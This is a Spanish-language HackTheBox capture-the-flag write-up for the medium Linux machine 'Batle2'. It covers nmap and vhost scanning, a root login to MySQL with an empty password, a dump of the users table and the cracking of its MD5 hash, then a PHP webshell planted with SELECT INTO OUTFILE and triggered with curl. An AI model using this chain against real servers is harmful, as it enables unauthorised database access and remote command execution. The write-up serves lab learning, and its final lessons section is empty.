HackTheBox Medium Linux MySQL Web

Batle2

Continuación de Batle. MySQL 8.0 expuesto en el puerto 3306 junto a la aplicación web. Acceso a la base de datos para extraer credenciales y obtener shell.

Ago 2023 ~60 min cat4clysm
Herramientas utilizadas
nmap mysql client gobuster john ffuf

Reconocimiento

root@kali:~$
nmap -p 22,80,3306,33060 -sC -sV -Pn 10.10.110.102
22/tcp    open  ssh     OpenSSH 8.2p1
80/tcp    open  http    nginx 1.18.0
3306/tcp  open  mysql   MySQL 8.0.26
33060/tcp open  mysqlx?
MySQL expuesto públicamente en el puerto 3306 — intentamos acceso con credenciales por defecto.

También enumeramos el vhost de la aplicación web:

root@kali:~$
ffuf -u http://10.10.110.102 -H "Host: FUZZ.snowbell.htb" -w subdomains.txt -fw 1
[Status: 200] www.snowbell.htb

Acceso a MySQL

Intentamos conexión con usuario root sin contraseña:

root@kali:~$
mysql -h 10.10.110.102 -u root -p
# Password: (vacío)

Acceso concedido. Enumeramos las bases de datos y extraemos credenciales:

SHOW DATABASES;
USE app;
SELECT * FROM users;

+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 5f4dcc3b5aa765d61d8327deb882cf99 |
+----+----------+----------------------------------+

Hash MD5 — lo crackeamos:

root@kali:~$
john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
password (admin)

Shell via MySQL INTO OUTFILE

Con acceso a MySQL y permisos de escritura, usamos INTO OUTFILE para escribir una webshell:

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
root@kali:~$
curl "http://10.10.110.102/shell.php?cmd=whoami"
www-data

Lecciones aprendidas